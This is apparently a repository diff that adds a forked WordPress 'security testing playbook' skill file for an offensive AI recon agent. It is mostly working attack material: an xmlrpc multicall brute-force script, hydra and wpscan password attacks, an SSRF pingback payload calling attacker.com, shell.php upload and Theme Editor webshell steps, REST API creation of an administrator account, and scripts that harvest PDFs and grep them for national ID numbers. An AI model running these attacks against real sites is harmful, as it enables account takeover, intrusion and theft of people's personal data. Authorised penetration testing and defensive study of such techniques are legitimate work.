- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,348 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: wordpress
|
|
5
|
+
description: Security testing playbook for WordPress covering user enumeration, xmlrpc abuse, plugin/theme vulnerabilities, wp-admin brute force, and wpscan methodology
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# WordPress Security Testing
|
|
9
|
+
|
|
10
|
+
WordPress powers 40%+ of all websites. Attack surface: wp-login.php brute force, xmlrpc.php abuse, plugin/theme CVEs, user enumeration via multiple vectors, REST API disclosure, and file upload via media.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting WordPress
|
|
17
|
+
|
|
18
|
+
# Confirm WordPress installation
|
|
19
|
+
curl -s <target>/ | grep -i "wp-content\|wordpress\|wp-includes"
|
|
20
|
+
|
|
21
|
+
# WordPress-specific paths
|
|
22
|
+
GET /wp-login.php # Admin login
|
|
23
|
+
GET /wp-admin/ # Admin dashboard (redirects to login if unauth)
|
|
24
|
+
GET /wp-includes/ # Core files (should be blocked)
|
|
25
|
+
GET /wp-content/uploads/ # Uploaded files (often has directory listing)
|
|
26
|
+
GET /wp-json/ # REST API root
|
|
27
|
+
GET /wp-json/wp/v2/ # REST API v2 (user/post enumeration)
|
|
28
|
+
GET /wp-cron.php # WP Cron (DoS vector if public)
|
|
29
|
+
GET /readme.html # Exact WordPress version
|
|
30
|
+
GET /license.txt
|
|
31
|
+
GET /wp-includes/version.php # Version in source
|
|
32
|
+
|
|
33
|
+
# Check for common config exposure
|
|
34
|
+
GET /wp-config.php # Should return empty or 403 — if not = CRITICAL
|
|
35
|
+
GET /wp-config.php.bak
|
|
36
|
+
GET /wp-config.php.old
|
|
37
|
+
GET /wp-config.txt
|
|
38
|
+
GET /.wp-config.php.swp # Vim swap file
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## User Enumeration
|
|
43
|
+
|
|
44
|
+
### Method 1: Author Archive
|
|
45
|
+
|
|
46
|
+
# WordPress reveals usernames via author pages
|
|
47
|
+
GET /?author=1 # Redirects to /author/<username>/
|
|
48
|
+
GET /?author=2
|
|
49
|
+
GET /?author=3 # Enumerate until 404
|
|
50
|
+
|
|
51
|
+
# Extract username from redirect:
|
|
52
|
+
curl -sI <target>/?author=1 | grep -i location
|
|
53
|
+
|
|
54
|
+
### Method 2: REST API
|
|
55
|
+
|
|
56
|
+
# WordPress REST API exposes all users by default
|
|
57
|
+
GET /wp-json/wp/v2/users
|
|
58
|
+
GET /wp-json/wp/v2/users?per_page=100
|
|
59
|
+
# Returns: id, name, slug (= username), avatar, description
|
|
60
|
+
|
|
61
|
+
# If REST API is disabled, try:
|
|
62
|
+
GET /wp-json/wp/v2/users/1
|
|
63
|
+
GET /?rest_route=/wp/v2/users
|
|
64
|
+
|
|
65
|
+
### Method 3: Login Error Messages
|
|
66
|
+
|
|
67
|
+
# Default WordPress distinguishes valid vs invalid usernames in error:
|
|
68
|
+
POST /wp-login.php
|
|
69
|
+
log=admin&pwd=wrongpassword
|
|
70
|
+
# "The password you entered for the username admin is incorrect" → user exists
|
|
71
|
+
# "Invalid username" → user doesn't exist
|
|
72
|
+
|
|
73
|
+
### Method 4: oEmbed
|
|
74
|
+
|
|
75
|
+
GET /wp-json/oembed/1.0/embed?url=<target>&format=json
|
|
76
|
+
# Response contains author_name field
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## wpscan — Automated Scanning
|
|
81
|
+
|
|
82
|
+
# Full scan with API token (recommended):
|
|
83
|
+
wpscan --url <target> --api-token <token> --enumerate u,p,t,vp,vt,tt,cb,dbe
|
|
84
|
+
|
|
85
|
+
# Without API token (basic):
|
|
86
|
+
wpscan --url <target> --enumerate u,p,t
|
|
87
|
+
|
|
88
|
+
# Enumerate options:
|
|
89
|
+
# u = users
|
|
90
|
+
# p = plugins (installed)
|
|
91
|
+
# t = themes (installed)
|
|
92
|
+
# vp = vulnerable plugins
|
|
93
|
+
# vt = vulnerable themes
|
|
94
|
+
# tt = timthumbs
|
|
95
|
+
# cb = config backups
|
|
96
|
+
# dbe = db exports
|
|
97
|
+
|
|
98
|
+
# Aggressive plugin detection:
|
|
99
|
+
wpscan --url <target> --enumerate p --plugins-detection aggressive
|
|
100
|
+
|
|
101
|
+
# Password attack after user enumeration:
|
|
102
|
+
wpscan --url <target> -U admin,administrator,editor -P /usr/share/wordlists/rockyou.txt
|
|
103
|
+
|
|
104
|
+
# Stealthy scan (lower request rate):
|
|
105
|
+
wpscan --url <target> --enumerate u --throttle 500
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## xmlrpc.php Exploitation
|
|
110
|
+
|
|
111
|
+
xmlrpc.php is enabled by default and allows credential brute force bypassing lockout:
|
|
112
|
+
|
|
113
|
+
# Check if xmlrpc.php is enabled
|
|
114
|
+
curl -s -X POST <target>/xmlrpc.php \
|
|
115
|
+
-H "Content-Type: text/xml" \
|
|
116
|
+
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
|
|
117
|
+
# Returns method list = enabled
|
|
118
|
+
|
|
119
|
+
# Brute force via system.multicall (bypass rate limiting):
|
|
120
|
+
# 500+ login attempts in a single HTTP request
|
|
121
|
+
python3 -c "
|
|
122
|
+
import requests, sys
|
|
123
|
+
|
|
124
|
+
target = 'http://<target>/xmlrpc.php'
|
|
125
|
+
user = 'admin'
|
|
126
|
+
passwords = open('/usr/share/wordlists/rockyou.txt').read().splitlines()[:500]
|
|
127
|
+
|
|
128
|
+
# Build multicall payload
|
|
129
|
+
calls = ''
|
|
130
|
+
for pw in passwords:
|
|
131
|
+
calls += f'''<value><struct>
|
|
132
|
+
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
|
|
133
|
+
<member><name>params</name><value><array><data>
|
|
134
|
+
<value><string>{user}</string></value>
|
|
135
|
+
<value><string>{pw}</string></value>
|
|
136
|
+
</data></array></value></member>
|
|
137
|
+
</struct></value>'''
|
|
138
|
+
|
|
139
|
+
payload = f'''<?xml version=\"1.0\"?><methodCall>
|
|
140
|
+
<methodName>system.multicall</methodName>
|
|
141
|
+
<params><param><value><array><data>
|
|
142
|
+
{calls}
|
|
143
|
+
</data></array></value></param></params>
|
|
144
|
+
</methodCall>'''
|
|
145
|
+
|
|
146
|
+
r = requests.post(target, data=payload, headers={'Content-Type': 'text/xml'})
|
|
147
|
+
print(r.text[:2000])
|
|
148
|
+
"
|
|
149
|
+
|
|
150
|
+
# SSRF via xmlrpc.php pingback:
|
|
151
|
+
POST /xmlrpc.php
|
|
152
|
+
<?xml version="1.0"?>
|
|
153
|
+
<methodCall><methodName>pingback.ping</methodName>
|
|
154
|
+
<params>
|
|
155
|
+
<param><value><string>http://attacker.com/</string></value></param>
|
|
156
|
+
<param><value><string>http://<target>/</string></value></param>
|
|
157
|
+
</params>
|
|
158
|
+
</methodCall>
|
|
159
|
+
|
|
160
|
+
---
|
|
161
|
+
|
|
162
|
+
## Plugin / Theme Vulnerabilities
|
|
163
|
+
|
|
164
|
+
# Common vulnerable plugin paths:
|
|
165
|
+
GET /wp-content/plugins/ # Directory listing (if enabled)
|
|
166
|
+
GET /wp-content/themes/
|
|
167
|
+
|
|
168
|
+
# After wpscan enumeration, search for CVEs:
|
|
169
|
+
# Site: https://wpscan.com/plugins/<plugin-name>
|
|
170
|
+
# Site: https://www.exploit-db.com/
|
|
171
|
+
|
|
172
|
+
# Common high-value plugins to check:
|
|
173
|
+
# - Contact Form 7, WPForms — file upload, CSRF
|
|
174
|
+
# - WooCommerce — payment bypass, IDOR
|
|
175
|
+
# - Elementor — arbitrary file upload (old versions)
|
|
176
|
+
# - Revolution Slider — LFI (CVE-2014-9734)
|
|
177
|
+
# - Yoast SEO — info disclosure
|
|
178
|
+
# - Advanced Custom Fields — SSRF, XSS
|
|
179
|
+
|
|
180
|
+
# Exploit vulnerable plugin file upload:
|
|
181
|
+
curl -X POST <target>/wp-admin/admin-ajax.php \
|
|
182
|
+
-F "action=<plugin_upload_action>" \
|
|
183
|
+
-F "file=@shell.php;type=image/jpeg" \
|
|
184
|
+
--cookie "wordpress_logged_in_<hash>=..."
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## wp-admin Attack
|
|
189
|
+
|
|
190
|
+
# Brute force wp-login.php (rate limited — prefer xmlrpc method):
|
|
191
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form \
|
|
192
|
+
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1:ERROR"
|
|
193
|
+
|
|
194
|
+
# After login — RCE via Theme Editor:
|
|
195
|
+
# WP Admin → Appearance → Theme Editor → 404.php → add PHP webshell
|
|
196
|
+
# GET /wp-content/themes/<theme>/404.php?cmd=id
|
|
197
|
+
|
|
198
|
+
# RCE via Plugin Upload:
|
|
199
|
+
# WP Admin → Plugins → Add New → Upload Plugin
|
|
200
|
+
# Upload a ZIP containing malicious plugin with PHP webshell
|
|
201
|
+
|
|
202
|
+
# WP Admin → Tools → Theme File Editor (if available)
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## REST API Exploitation
|
|
207
|
+
|
|
208
|
+
# List all posts (may include drafts):
|
|
209
|
+
GET /wp-json/wp/v2/posts?status=draft&context=edit # Requires auth
|
|
210
|
+
GET /wp-json/wp/v2/posts?per_page=100
|
|
211
|
+
|
|
212
|
+
# List all pages including private:
|
|
213
|
+
GET /wp-json/wp/v2/pages
|
|
214
|
+
|
|
215
|
+
# Create user (if improper REST auth):
|
|
216
|
+
POST /wp-json/wp/v2/users
|
|
217
|
+
{"username": "attacker", "email": "a@b.com", "password": "pass", "roles": ["administrator"]}
|
|
218
|
+
|
|
219
|
+
# JWT Authentication bypass (if JWT plugin installed):
|
|
220
|
+
POST /wp-json/jwt-auth/v1/token
|
|
221
|
+
{"username": "admin", "password": "admin"}
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## REST API — Media Endpoint (HIGH PRIORITY: PII Exposure Vector)
|
|
226
|
+
|
|
227
|
+
**MANDATORY CHECK on every WordPress target.** The `/wp-json/wp/v2/media` endpoint is publicly
|
|
228
|
+
accessible by default and exposes ALL uploaded file URLs including PDFs, DOCX, and images.
|
|
229
|
+
If the site handles user data (forms, registrations, applications), this endpoint can expose
|
|
230
|
+
consent forms, identity documents, and other files containing PII.
|
|
231
|
+
|
|
232
|
+
# STEP 1: Check total media count (X-WP-Total header reveals scope instantly)
|
|
233
|
+
curl -sk "https://TARGET/wp-json/wp/v2/media?per_page=1" \
|
|
234
|
+
-H "Accept: application/json" -I | grep -i "X-WP-Total"
|
|
235
|
+
# If X-WP-Total: 500+, there are hundreds of potentially sensitive files
|
|
236
|
+
|
|
237
|
+
# STEP 2: Enumerate PDFs specifically
|
|
238
|
+
curl -sk "https://TARGET/wp-json/wp/v2/media?mime_type=application%2Fpdf&per_page=100&page=1" \
|
|
239
|
+
-H "Accept: application/json" | python3 -c "
|
|
240
|
+
import sys, json, re
|
|
241
|
+
from urllib.parse import unquote
|
|
242
|
+
items = json.load(sys.stdin)
|
|
243
|
+
print(f'PDFs found: {len(items)}')
|
|
244
|
+
for item in items:
|
|
245
|
+
src = item.get('source_url','')
|
|
246
|
+
fn = unquote(src.split('/')[-1])
|
|
247
|
+
# Flag filenames with long digit sequences (NIK, ID numbers)
|
|
248
|
+
flag = '[PII?]' if re.search(r'\d{12,18}', fn) else ''
|
|
249
|
+
print(f'{flag} {fn}')
|
|
250
|
+
print(f' URL: {src}')
|
|
251
|
+
"
|
|
252
|
+
|
|
253
|
+
# STEP 3: Also check DOCX and XLSX
|
|
254
|
+
curl -sk "https://TARGET/wp-json/wp/v2/media?mime_type=application%2Fvnd.openxmlformats-officedocument.wordprocessingml.document&per_page=100" \
|
|
255
|
+
-H "Accept: application/json" | python3 -c "
|
|
256
|
+
import sys, json
|
|
257
|
+
items = json.load(sys.stdin)
|
|
258
|
+
print(f'DOCX found: {len(items)}')
|
|
259
|
+
for item in items[:10]:
|
|
260
|
+
print(item.get('source_url',''))
|
|
261
|
+
"
|
|
262
|
+
|
|
263
|
+
# STEP 4: Download and confirm PII in one sample PDF
|
|
264
|
+
PDF_URL="https://TARGET/wp-content/uploads/2024/01/Consent-Form-JohnDoe-1234567890123456.pdf"
|
|
265
|
+
curl -sk "$PDF_URL" -o /tmp/sample.pdf
|
|
266
|
+
pdftotext /tmp/sample.pdf - | grep -iE "NIK|KTP|Nama Lengkap|National ID|Social Security|Passport"
|
|
267
|
+
|
|
268
|
+
# STEP 5: Get total affected (ALL MIME types, not just PDF)
|
|
269
|
+
for mime in "application/pdf" "application/msword" "image/jpeg" "image/png"; do
|
|
270
|
+
total=$(curl -sk "https://TARGET/wp-json/wp/v2/media?mime_type=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$mime'))")&per_page=1" \
|
|
271
|
+
-H "Accept: application/json" -D - 2>/dev/null | grep -i 'x-wp-total:' | grep -oE '[0-9]+')
|
|
272
|
+
echo "$mime: ${total:-0} files"
|
|
273
|
+
done
|
|
274
|
+
|
|
275
|
+
**CRITICAL:** If `/wp-json/wp/v2/media` returns PDFs with names containing long digit strings
|
|
276
|
+
(Indonesian NIK = 16 digits, Singaporean NRIC = 9 chars, etc.), this is a HIGH-severity
|
|
277
|
+
PII exposure finding. Load `vulnerabilities/sensitive_file_pii_exposure.md` for full
|
|
278
|
+
exploitation and confirmation methodology.
|
|
279
|
+
|
|
280
|
+
**What to report:**
|
|
281
|
+
- Total PDF count (from X-WP-Total header)
|
|
282
|
+
- Sample of PII-indicating filenames (masked)
|
|
283
|
+
- Confirmed PII fields from extracted text (masked)
|
|
284
|
+
- Applicable data protection regulation
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## File Upload / Media
|
|
289
|
+
|
|
290
|
+
# Uploaded files at:
|
|
291
|
+
GET /wp-content/uploads/<year>/<month>/<filename>
|
|
292
|
+
|
|
293
|
+
# Test: upload PHP as image via media upload (admin):
|
|
294
|
+
# Extension bypass: shell.php.jpg, shell.php%00.jpg, shell.phtml
|
|
295
|
+
# Double extension: shell.jpg.php
|
|
296
|
+
|
|
297
|
+
# Directory listing often enabled on /wp-content/uploads/
|
|
298
|
+
GET /wp-content/uploads/
|
|
299
|
+
GET /wp-content/uploads/2024/
|
|
300
|
+
|
|
301
|
+
---
|
|
302
|
+
|
|
303
|
+
## Common Security Misconfigurations
|
|
304
|
+
|
|
305
|
+
# wp-config.php database credentials (if exposed)
|
|
306
|
+
define('DB_NAME', '...');
|
|
307
|
+
define('DB_USER', '...');
|
|
308
|
+
define('DB_PASSWORD', '...');
|
|
309
|
+
define('AUTH_KEY', '...'); # Secret keys for cookie signing
|
|
310
|
+
|
|
311
|
+
# Debug mode (never in production):
|
|
312
|
+
define('WP_DEBUG', true); # Creates /wp-content/debug.log
|
|
313
|
+
|
|
314
|
+
GET /wp-content/debug.log # May contain error messages with SQL queries, paths, credentials
|
|
315
|
+
|
|
316
|
+
# Multisite subdomains (if WP Multisite):
|
|
317
|
+
GET /<site-slug>/wp-login.php
|
|
318
|
+
|
|
319
|
+
# Sensitive files exposed:
|
|
320
|
+
GET /wp-cron.php # Direct access causes server load (DoS)
|
|
321
|
+
GET /wp-trackback.php # Old spam vector
|
|
322
|
+
GET /wp-comments-post.php # Comment spam
|
|
323
|
+
|
|
324
|
+
---
|
|
325
|
+
|
|
326
|
+
## Nuclei Templates
|
|
327
|
+
|
|
328
|
+
# WordPress-specific nuclei templates
|
|
329
|
+
nuclei -t cms/wordpress/ -u <target>
|
|
330
|
+
nuclei -t cves/ -tags wordpress -u <target>
|
|
331
|
+
nuclei -t vulnerabilities/wordpress/ -u <target>
|
|
332
|
+
nuclei -t exposures/ -tags wordpress -u <target>
|
|
333
|
+
|
|
334
|
+
---
|
|
335
|
+
|
|
336
|
+
## Pro Tips
|
|
337
|
+
|
|
338
|
+
1. Always try `/?author=1` first — reveals admin username instantly in most WP installs
|
|
339
|
+
2. xmlrpc.php multicall = 500+ password attempts per HTTP request, no rate limiting
|
|
340
|
+
3. `/wp-json/wp/v2/users` returns all usernames if REST API not restricted
|
|
341
|
+
4. `readme.html` and `license.txt` reveal exact WP version → targeted CVE lookup
|
|
342
|
+
5. wpscan `--plugins-detection aggressive` finds hidden plugins not in page source
|
|
343
|
+
6. wp-config.php backup files (`.bak`, `.old`, `.txt`) are common critical findings
|
|
344
|
+
7. WooCommerce installations always deserve deep testing — payment logic bypasses are impactful
|
|
345
|
+
|
|
346
|
+
## Summary
|
|
347
|
+
|
|
348
|
+
WordPress testing = user enumeration (REST API + author pages) + xmlrpc.php brute force (multicall) + wpscan plugin/theme CVE scan + wp-admin credential attack. The xmlrpc multicall technique bypasses all rate limiting. REST API user enumeration works on most unprotected installs. After getting credentials, RCE via Theme Editor is a one-click webshell. Always check `/wp-content/debug.log` and `wp-config.php` backup files.
|